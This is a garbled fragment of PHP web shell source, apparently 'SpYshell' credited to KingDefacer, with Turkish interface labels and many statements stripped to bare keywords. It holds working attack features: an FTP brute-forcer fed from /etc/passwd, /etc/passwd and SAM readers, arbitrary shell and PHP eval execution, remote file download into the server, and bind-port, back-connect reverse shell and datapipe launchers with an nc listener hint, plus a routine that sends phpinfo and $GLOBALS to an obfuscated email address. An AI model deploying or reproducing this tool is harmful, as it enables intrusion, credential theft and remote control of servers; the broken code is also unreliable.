- }
- if
- {
- $result = mysql_query("SHOW STATUS", $sql_sock);
- echo "<center><b>Server Durumu Kararsiz:</b><br><br>"
- echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"
- while
- echo "</table></center>"
- mysql_free_result
- }
- if
- {
- $result = mysql_query("SHOW VARIABLES", $sql_sock);
- echo "<center><b>Server variables:</b><br><br>"
- echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"
- while
- echo "</table>"
- mysql_free_result
- }
- if
- {
- if
- $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
- echo "<center><b>Processes:</b><br><br>"
- echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"
- while
- echo "</table>"
- mysql_free_result
- }
- if
- {
- $tmpdb = $sql_login."_tmpdb";
- $select = mysql_select_db($tmpdb);
- if
- if
- {
- $created = false;
- mysql_query
- mysql_query
- $result = mysql_query("SELECT * FROM tmp_file;");
- if
- else
- {
- for
- $f = "";
- while
- if
- else
- mysql_free_result
- mysql_query
- }
- }
- mysql_drop_db ($tmpdb); //comment it if you want to leave database
- }
- }
- }
- }
- echo "</td></tr></table>"
- if
- {
- $affected = @mysql_affected_rows($sql_sock);
- if
- echo "<tr><td><center><b>yapmacik(sahte) rows: " .
- }
- echo "</table>"
- }
- if
- {
- if
- {
- if
- elseif
- echo "<br><br>"
- }
- $act = $dspact = "ls";
- }
- if
- {
- echo "<b>Ftp Hizli Sifre Alma :P By KingDefacer</b><br>"
- if
- else
- {
- function ashftpbrutecheck
- {
- if
- else
- if
- {
- $sock = @ftp_connect($host,$port,$timeout);
- if
- {
- echo "<a href=" ftp ://".$login.":".$pass."@".$host."" target="_blank"><b>Baglanildi.. ".$host." icin Giris "".$login."" & Sifre "".$pass.""</b></a>.<br>"; ob_flush();
- return true
- }
- }
- }
- if
- {
- if
- $fp = fopen("/etc/passwd","r");
- if
- else
- {
- if
- {
- if
- else
- $fqb_log = "FTP Hizli Brute (called SpYshell ".$shver.") Baslanan ".date("d.m.Y H:i:s")." ";
- if
- }
- ob_flush
- $i = $success = 0;
- $ftpquick_st = getmicrotime();
- while
- {
- $str = explode(":",fgets($fp,2048));
- if
- {
- echo "<b>Baglanildi -->" .getenv
- $fqb_log .= "Baglanildi -->".getenv("SERVER_NAME")." a login "".$str[0]."" ve Sifre "".$str[0]."", at ".date("d.m.Y H:i:s")." ";
- if
- $success++;
- ob_flush
- }
- if
- $i++;
- }
- if
- $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
- echo "<hr size=" 1
- $fqb_log .= " ------------------------------------------ Done! Total time (secs.): ".$ftpquick_t." Total connections: ".$i." Success.: ".$success." Unsuccess.:".($i-$success)." Connects per second: ".round($i/$ftpquick_t,2)." ";
- if
- if
- fclose
- }
- }
- else
- {
- $logfile = $tmpdir_logs."ashsh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
- $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
- echo "<form action=" ".$surl."
- }
- }
- }
- if
- {
- if
- else
- {
- echo "<b>Uzanti Bilgisi:</b><table border=0 cellspacing=1 cellpadding=2>"
- if
- {
- echo "<tr><td><b>Owner/Group</b></td><td> "
- $ow = posix_getpwuid(fileowner($d));
- $gr = posix_getgrgid(filegroup($d));
- $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
- }
- echo "<tr><td><b>Permissions(Engel)</b></td><td><a href=" ".$surl."
- }
- }
- if
- if
- {
- echo "<center><b>Server Guvenlik Bilgisi:</b></center><b>Dizin: " .
- if
- {
- if
- {
- if
- echo "<b>*nix /etc/passwd:</b><br>"
- if
- if
- echo "<form action=" ".$surl."
- $i = $nixpwd_s;
- while
- {
- $uid = posix_getpwuid($i);
- if
- {
- $uid["dir"] = "<a href="".$surl."act=ls&d=".urlencode($uid["dir"])."">".$uid["dir"]."</a>";
- echo join
- }
- $i++;
- }
- }
- else
- }
- else
- {
- $v = $_SERVER["WINDIR"]." epairsam";
- if
- else
- }
- if
- if
- if
- if
- if
- if
- if
- function displaysecinfo
- displaysecinfo
- displaysecinfo
- displaysecinfo
- displaysecinfo
- displaysecinfo
- displaysecinfo
- displaysecinfo
- displaysecinfo
- displaysecinfo
- displaysecinfo
- displaysecinfo
- displaysecinfo
- displaysecinfo
- displaysecinfo
- displaysecinfo
- displaysecinfo
- displaysecinfo
- displaysecinfo
- displaysecinfo
- displaysecinfo
- displaysecinfo
- }
- if
- {
- if
- {
- if
- elseif
- else
- }
- else
- }
- if
- {
- echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Cyriptos:</b></center><form name=" encoder
- foreach
- {
- echo
- }
- echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=" this.select
- <br>urldecode - <input type=text size=35 onFocus="this.select()" onMouseover="this.select()" onMouseout="this.select()" value="".htmlspecialchars(urldecode($encoder_input))."" readonly>
- <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus="this.select()" onMouseover="this.select()" onMouseout="this.select()" value="".base64_encode($encoder_input)."" readonly></center>";
- echo "<center>base64_decode - "
- if
- else
- {
- $debase64 = base64_decode($encoder_input);
- $debase64 = str_replace(" ","[0]",$debase64);
- $a = explode(" ",$debase64);
- $rows = count($a);
- $debase64 = htmlspecialchars($debase64);
- if
- else
- echo " <a href="
- }
- echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=" this.select
- $c = strlen($encoder_input);
- for
- {
- $hex = dechex(ord($encoder_input[$i]));
- if
- elseif
- }
- echo "" readonly
- }
- if
- {
- $arr_copy = $sess_data["copy"];
- $arr_cut = $sess_data["cut"];
- $arr = array_merge($arr_copy,$arr_cut);
- if
- else
- }
- if
- {
- if
- {
- if
- else
- }
- else
- {
- if
- $rnd = rand(0,9).rand(0,9).rand(0,9);
- echo "<form action=" ".$surl."
- }
- }
- if
- if
- {
- $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1");
- if
- {
- $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
- $body = "SpYshell v.".$shver." feedback #".$ticket." Name: ".htmlspecialchars($fdbk_name)." E-mail: ".htmlspecialchars($fdbk_email)." Message: ".htmlspecialchars($fdbk_body)." IP: ".$REMOTE_ADDR;
- if
- {
- $tmp = @ob_get_contents();
- ob_clean
- phpinfo
- $phpinfo = base64_encode(ob_get_contents());
- ob_clean
- echo
- $body .= " "."phpinfo(): ".$phpinfo." "."$GLOBALS=".base64_encode(serialize($GLOBALS))." ";
- }
- echo "<center><b>Tesekkurler kullanici id: " .
- }
- else
- }
- if
- {
- echo "<b>Sistem Dosyalarinda Ara:</b><br>"
- if
- if
- if
- if
- {
- $found = array();
- $found_d = 0;
- $found_f = 0;
- $search_i_f = 0;
- $search_i_d = 0;
- $a = array
- (
- "name"=>$search_name, "name_regexp"=>$search_name_regexp,
- "text"=>$search_text, "text_regexp"=>$search_text_regxp,
- "text_wwo"=>$search_text_wwo,
- "text_cs"=>$search_text_cs,
- "text_not"=>$search_text_not
- );
- $searchtime = getmicrotime();
- $in = array_unique(explode(";",$search_in));
- foreach
- $searchtime = round(getmicrotime()-$searchtime,4);
- if
- else
- {
- $ls_arr = $found;
- $disp_fullpath = true;
- $act = "ls";
- }
- }
- echo
- <input type=hidden name="d" value="".$dispd.""><input type=hidden name=act value="".$dspact."">
- <b>Search for (file/folder name): </b><input type="text" name="search_name" size="".round(strlen($search_name)+25)."" value="".htmlspecialchars($search_name).""> <input type="checkbox" name="search_name_regexp" value="1" ".($search_name_regexp == 1?" checked":"")."> - regexp
- <br><b>Search in (explode ";"): </b><input type="text" name="search_in" size="".round(strlen($search_in)+25)."" value="".htmlspecialchars($search_in)."">
- <br><br><b>Text:</b><br><textarea name="search_text" cols="122" rows="10">".htmlspecialchars($search_text)."</textarea>
- <br><br><input type="checkbox" name="search_text_regexp" value="1" ".($search_text_regexp == 1?" checked":"")."> - regexp
- <input type="checkbox" name="search_text_wwo" value="1" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only
- <input type="checkbox" name="search_text_cs" value="1" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive
- <input type="checkbox" name="search_text_not" value="1" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text
- <br><br><input type=submit name=submit value="Search"></form>";
- if
- }
- if
- {
- $mode = fileperms($d.$f);
- if
- else
- {
- $form = true;
- if
- {
- $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
- if
- else
- }
- if
- {
- $perms = parse_perms($mode);
- echo "<b>Changing file-mode (" .
- }
- }
- }
- if
- {
- $uploadmess = "";
- $uploadpath = str_replace("",DIRECTORY_SEPARATOR,$uploadpath);
- if
- elseif
- if
- {
- global
- $uploadfile = $HTTP_POST_FILES["uploadfile"];
- if
- {
- if
- else
- if
- }
- elseif
- {
- if
- else
- {
- $destin = explode("/",$destin);
- $destin = $destin[count($destin)-1];
- if
- {
- $i = 0;
- $b = "";
- while
- }
- if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Yanlis URL!
- </b><br>";}
- else
- {
- $st = getmicrotime();
- $content = @file_get_contents($uploadurl);
- $dt = round(getmicrotime()-$st,4);
- if
- else
- {
- if
- $fp = fopen($uploadpath.$destin,"w");
- if
- else
- {
- fwrite
- fclose
- if
- }
- }
- }
- }
- }
- if
- {
- echo "<b>" .
- $act = "ls";
- }
- else
- {
- echo "<b>File upload:</b><br><b>" .
- Select file on
- Input URL
- save this file
- File
- <input type=checkbox name=uploadautoname value=1 id=df4> convert file name to lovercase<br><br>
- <input type=submit name=submit value="Upload(Yukle)">
- </form>";
- }
- }
- if
- {
- $delerr = "";
- foreach
- {
- $result = false;
- $result = fs_rmobj($v);
- if
- }
- if
- $act = "ls";
- }
- if
- {
- if
- }
- else
- {
- if
- elseif
- elseif
- if
- elseif
- {
- $psterr = "";
- foreach
- {
- $to = $d.basename($v);
- if
- if
- }
- foreach
- {
- $to = $d.basename($v);
- if
- unset
- }
- ash_sess_put
- if
- $act = "ls";
- }
- elseif
- {
- $arcerr = "";
- if
- else
- if
- $cmdline .= " ".$actarcbuff_path;
- $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
- foreach
- {
- $v = str_replace("",DIRECTORY_SEPARATOR,$v);
- if
- if
- {
- if
- $v .= "*";
- }
- $cmdline .= " ".$v;
- }
- $tmp = realpath(".");
- chdir
- $ret = myshellexec($cmdline);
- chdir
- if
- $ret = str_replace(" "," ",$ret);
- $ret = explode(" ",$ret);
- if
- foreach
- {
- if
- unset
- }
- ash_sess_put
- if
- $act = "ls";
- }
- elseif
- {
- $psterr = "";
- foreach
- {
- $to = $d.basename($v);
- if
- if
- }
- foreach
- {
- $to = $d.basename($v);
- if
- unset
- }
- ash_sess_put
- if
- $act = "ls";
- }
- }
- if
- {
- if
- elseif
- else
- {
- @chdir($chdir);
- if
- {
- echo "<b>Ugulamanin Sonuclari</b>:<br>"
- $olddir = realpath(".");
- @chdir($d);
- $ret = myshellexec($cmd);
- $ret = convert_cyr_string($ret,"d","w");
- if
- {
- $rows = count(explode(" ",$ret))+1;
- if
- echo "<br><textarea cols=" 122
- }
- else
- @chdir($olddir);
- }
- else
- echo "<form action=" ".$surl."
- }
- }
- if
- {
- if
- else
- {
- $list = array();
- if
- {
- while
- closedir
- }
- else
- }
- if
- else
- {
- //Building array
- $objects = array();
- $vd = "f"; //Viewing mode
- if
- {
- $objects["head"] = array();
- $objects["folders"] = array();
- $objects["links"] = array();
- $objects["files"] = array();
- foreach
- {
- $o = basename($v);
- $row = array();
- if
- elseif
- elseif
- {
- if
- else
- $row[] = $v;
- $row[] = $type;
- }
- elseif
- $row[] = filemtime($v);
- if
- {
- $ow = posix_getpwuid(fileowner($v));
- $gr = posix_getgrgid(filegroup($v));
- $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
- }
- $row[] = fileperms($v);
- if
- elseif
- elseif
- elseif
- $i++;
- }
- $row = array();
- $row[] = "<b>Isim</b>";
- $row[] = "<b>Boyut</b>";
- $row[] = "<b>Degistirme</b>";
- if
- {$row[] = "<b>Sahip/Grup</b>";}
- $row[] = "<b>Permissions(Yetki)</b>";
- $row[] = "<b>Oznitelik</b>";
- $parsesort = parsesort($sort);
- $sort = $parsesort[0].$parsesort[1];
- $k = $parsesort[0];
- if
- $y = "<a href="".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."">";
- $y .= "<img src="".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."" height="9" width="14" alt="".($parsesort[1] == "a"?"Asc.":"Desc")."" border="0"></a>";
- $row[$k] .= $y;
- for
- {
- if
- }
- $v = $parsesort[0];
- usort
- usort
- usort
- if
- {
- $objects["folders"] = array_reverse($objects["folders"]);
- $objects["files"] = array_reverse($objects["files"]);
- }
- $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
- $tab = array();
- $tab["cols"] = array($row);
- $tab["head"] = array();
- $tab["folders"] = array();
- $tab["links"] = array();
- $tab["files"] = array();
- $i = 0;
- foreach
- {
- $v = $a[0];
- $o = basename($v);
- $dir = dirname($v);
- if
- else
- $disppath = str2mini($disppath,60);
- if
- elseif
- foreach
- {
- if
- {
- if
- else
- {
- $r[1] = round($r[1]);
- $isdir = is_dir($v);
- if
- {
- if
- $disppath = $r[2].$disppath.$r[3];
- if
- }
- }
- }
- }
- $uo = urlencode($o);
- $ud = urlencode($dir);
- $uv = urlencode($v);
- $row = array();
- if
- {
- $row[] = "<img src="".$surl."act=img&img=small_dir" height="16" width="19" border="0"> <a href="".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."">".$o."</a>";
- $row[] = "LINK";
- }
- elseif
- {
- $row[] = "<img src="".$surl."act=img&img=ext_lnk" height="16" width="19" border="0"> <a href="".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."">".$o."</a>";
- $row[] = "LINK";
- }
- elseif
- {
- if
- {
- $disppath .= " => ".readlink($v);
- $type = "LINK";
- $row[] = "<img src="".$surl."act=img&img=ext_lnk" height="16" width="16" border="0"> <a href="".$surl."act=ls&d=".$uv."&sort=".$sort."">[".$disppath."]</a>";
- }
- else
- {
- $type = "DIR";
- $row[] = "<img src="".$surl."act=img&img=small_dir" height="16" width="19" border="0"> <a href="".$surl."act=ls&d=".$uv."&sort=".$sort."">[".$disppath."]</a>";
- }
- $row[] = $type;
- }
- elseif
- {
- $ext = explode(".",$o);
- $c = count($ext)-1;
- $ext = $ext[$c];
- $ext = strtolower($ext);
- $row[] = "<img src="".$surl."act=img&img=ext_".$ext."" border="0"> <a href="".$surl."act=f&f=".$uo."&d=".$ud."&">".$disppath."</a>";
- $row[] = view_size($a[1]);
- }
- $row[] = date("d.m.Y H:i:s",$a[2]);
- if
- $row[] = "<a href="".$surl."act=chmod&f=".$uo."&d=".$ud.""><b>".view_perms_color($v)."</b></a>";
- if
- else
- if
- else
- if
- elseif
- elseif
- elseif
- $i++;
- }
- }
- //Compiling table
- $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
- echo "<center><b>Listelenen (" .count
- foreach
- {
- echo
- foreach
- echo
- }
- echo "</table><hr size=" 1
- <script>
- function ls_setcheckboxall
- {
- var id
- var num
- while
- {
- document .getElementById
- id
- }
- }
- function ls_reverse_all
- {
- var id
- var num
- while
- {
- document .getElementById
- id
- }
- }
- </script>
- <input type="button" onclick="ls_setcheckboxall(true);" value="Hepsini Sec"> <input type="button" onclick="ls_setcheckboxall(false);" value="Hepsini Sec(ME)">
- <b><img src="".$surl."act=img&img=arrow_ltr" border="0">";
- if
- {
- echo "<input type=submit name=actarcbuff value=" Pack
- }
- echo "<select name=act><option value=" ".$act."
- echo "<option value=delete" .
- echo "<option value=chmod" .
- if
- {
- echo "<option value=cut" .
- echo "<option value=copy" .
- echo "<option value=unselect" .
- }
- echo "</select> <input type=submit value=" OK
- echo "</form>"
- }
- }
- if
- {
- $bndportsrcs = array(
- "ashsh_bindport.pl"=>array("PERL Kullan","perl %path %port"),
- "ashsh_bindport.c"=>array("C Kullan","%path %port %pass")
- );
- $bcsrcs = array(
- "ashsh_backconn.pl"=>array("PERL Kullan","perl %path %host %port"),
- "ashsh_backconn.c"=>array("C Kullan","%path %host %port")
- );
- $dpsrcs = array(
- "ashsh_datapipe.pl"=>array("PERL Kullan","perl %path %localport %remotehost %remoteport"),
- "ashsh_datapipe.c"=>array("C Kullan","%path %localport %remoteport %remotehost")
- );
- if
- if
- if
- if
- if
- if
- if
- if
- if
- if
- {
- echo "<b>Port Baglanti sonucu:</b><br>"
- $v = $bndportsrcs[$bind["src"]];
- if
- elseif
- else
- {
- $w = explode(".",$bind["src"]);
- $ext = $w[count($w)-1];
- unset
- $srcpath = join(".",$w).".".rand(0,999).".".$ext;
- $binpath = $tmpdir.join(".",$w).rand(0,999);
- if
- @unlink($srcpath);
- $fp = fopen($srcpath,"ab+");
- if
- elseif
- else
- {
- fwrite
- fclose
- if
- $v[1] = str_replace("%path",$binpath,$v[1]);
- $v[1] = str_replace("%port",$bind["port"],$v[1]);
- $v[1] = str_replace("%pass",$bind["pass"],$v[1]);
- $v[1] = str_replace("//","/",$v[1]);
- $retbind = myshellexec($v[1]." > /dev/null &");
- sleep
- $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5);
- if
- else
- }
- echo "<br>"
- }
- }
- if
- {
- echo "<b>Eski Baglanti Sonuclari:</b><br>"
- $v = $bcsrcs[$bc["src"]];
- if
- else
- {
- $w = explode(".",$bc["src"]);
- $ext = $w[count($w)-1];
- unset
- $srcpath = join(".",$w).".".rand(0,999).".".$ext;
- $binpath = $tmpdir.join(".",$w).rand(0,999);
- if
- @unlink($srcpath);
- $fp = fopen($srcpath,"ab+");
- if
- elseif
- else
- {
- fwrite
- fclose
- if
- $v[1] = str_replace("%path",$binpath,$v[1]);
- $v[1] = str_replace("%host",$bc["host"],$v[1]);
- $v[1] = str_replace("%port",$bc["port"],$v[1]);
- $v[1] = str_replace("//","/",$v[1]);
- $retbind = myshellexec($v[1]." > /dev/null &");
- echo "Su an ki Script tekrar dene " .htmlspecialchars
- }
- }
- }
- if
- {
- echo "<b>Datapipe Sonuclari:</b><br>"
- $v = $dpsrcs[$datapipe["src"]];
- if
- elseif
- else
- {
- $srcpath = $tmpdir.$datapipe["src"];
- $w = explode(".",$datapipe["src"]);
- $ext = $w[count($w)-1];
- unset
- $srcpath = join(".",$w).".".rand(0,999).".".$ext;
- $binpath = $tmpdir.join(".",$w).rand(0,999);
- if
- @unlink($srcpath);
- $fp = fopen($srcpath,"ab+");
- if
- elseif
- else
- {
- fwrite
- fclose
- if
- list
- $v[1] = str_replace("%path",$binpath,$v[1]);
- $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]);
- $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]);
- $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]);
- $v[1] = str_replace("//","/",$v[1]);
- $retbind = myshellexec($v[1]." > /dev/null &");
- sleep
- $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5);
- if
- else
- }
- echo "<br>"
- }
- }
- ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>"> Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>"> <select name="bind[src]"><?php
- foreach
- ?></select> <input type=submit name=bindsubmit value="Bind"></form>
- <b>Back Baglanti:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>"> Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>"> <select name="bc[src]"><?php
- foreach
- ?></select> <input type=submit name=bcsubmit value="Connect"></form>
- <b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br>
- <b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>"> Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>"> <select name="datapipe[src]"><?php
- foreach
- ?></select> <input type=submit name=dpsubmit value="Run"></form><b>Note:</b> Uzak Serverden kaynak kodu indirilmistir.<?php
- }
- if
- {
- echo "<b>Processes:</b><br>"
- if
- else
- $ret = myshellexec($handler);
- if
- else
- {
- if
- $parsesort = parsesort($processes_sort);
- if
- $k = $parsesort[0];
- if
- else
- $ret = htmlspecialchars($ret);
- if
- {
- if
- {
- if
- echo "Sinyal yollaniyor " .
- if
- else
- }
- while
- $stack = explode(" ",$ret);
- $head = explode(" ",$stack[0]);
- unset
- for
- {
- if
- }
- $prcs = array();
- foreach
- {
- if
- {
- echo "<tr>"
- $line = explode(" ",$line);
- $line[10] = join(" ",array_slice($line,10));
- $line = array_slice($line,0,11);
- if
- $line[] = "<a href="".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9"><u>KILL</u></a>";
- $prcs[] = $line;
- echo "</tr>"
- }
- }
- }
- else
- {
- while
- while
- while
- while
- while
- while
- while
- while
- while
- while
- while
- $ret = convert_cyr_string($ret,"d","w");
- $stack = explode(" ",$ret);
- unset
- $stack = array_values($stack);
- $head = explode(" ",$stack[0]);
- $head[1] = explode(" ",$head[1]);
- $head[1] = $head[1][0];
- $stack = array_slice($stack,1);
- unset
- $head = array_values($head);
- if
- else
- if
- for
- {
- if
- }
- $prcs = array();
- foreach
- {
- if
- {
- echo "<tr>"
- $line = explode(" ",$line);
- $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
- $line[2] = intval(str_replace(" ","",$line[2]))*1024;
- $prcs[] = $line;
- echo "</tr>"
- }
- }
- }
- $head[$k] = "<b>".$head[$k]."</b>".$y;
- $v = $processes_sort[0];
- usort
- if
- $tab = array();
- $tab[] = $head;
- $tab = array_merge($tab,$prcs);
- echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=" 100
- foreach
- {
- echo "<tr>"
- foreach
- echo "</tr>"
- }
- echo "</table>"
- }
- }
- if
- {
- if
- {
- echo "<b>Result of execution this PHP-code</b>:<br>"
- $tmp = ob_get_contents();
- $olddir = realpath(".");
- @chdir($d);
- if
- {
- ob_clean
- eval
- $ret = ob_get_contents();
- $ret = convert_cyr_string($ret,"d","w");
- ob_clean
- echo
- if
- {
- $rows = count(explode(" ",$ret))+1;
- if
- echo "<br><textarea cols=" 122
- }
- else
- }
- else
- {
- if
- {
- echo "<br><textarea cols=" 122
- eval
- echo "</textarea>"
- }
- else
- }
- @chdir($olddir);
- }
- else
- echo "<form action=" ".$surl."
- }
- if
- {
- if
- {
- if
- else
- }
- else
- {
- $r = @file_get_contents($d.$f);
- $ext = explode(".",$f);
- $c = count($ext)-1;
- $ext = $ext[$c];
- $ext = strtolower($ext);
- $rft = "";
- foreach
- if
- if
- $arr = array(
- array
- array
- array
- array
- array
- array
- array
- array
- array
- array
- array
- array
- );
- echo "<b>Viewing file: <img src=" ".$surl."
- foreach
- {
- if
- elseif
- else
- echo " (<a href=" ".$surl."
- }
- echo "<hr size=" 1
- if
- {
- echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> " .
- if
- {
- echo "<tr><td><b>Owner/Group</b></td><td> "
- $ow = posix_getpwuid(fileowner($d.$f));
- $gr = posix_getgrgid(filegroup($d.$f));
- echo
- }
- echo "<tr><td><b>Perms</b></td><td><a href=" ".$surl."
- $fi = fopen($d.$f,"rb");
- if
- {
- if
- else
- $n = 0;
- $a0 = "00000000<br>";
- $a1 = "";
- $a2 = "";
- for
- {
- $a1 .= sprintf("%02X",ord($str[$i]))." ";
- switch
- {
- case 0
- case 32
- case 10
- case 13
- default
- }
- $n++;
- if
- {
- $n = 0;
- if
- $a1 .= "<br>";
- $a2 .= "<br>";
- }
- }
- //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";}
- echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>" .
- }
- $encoded = "";
- if
- {
- echo "<b>Base64 Encode</b><br>"
- $encoded = base64_encode(file_get_contents($d.$f));
- }
- elseif
- {
- echo "<b>Base64 Encode + Chunk</b><br>"
- $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
- }
- elseif
- {
- echo "<b>Base64 Encode + Chunk + Quotes</b><br>"
- $encoded = base64_encode(file_get_contents($d.$f));
- $encoded = substr(preg_replace("!.{1,76}!","'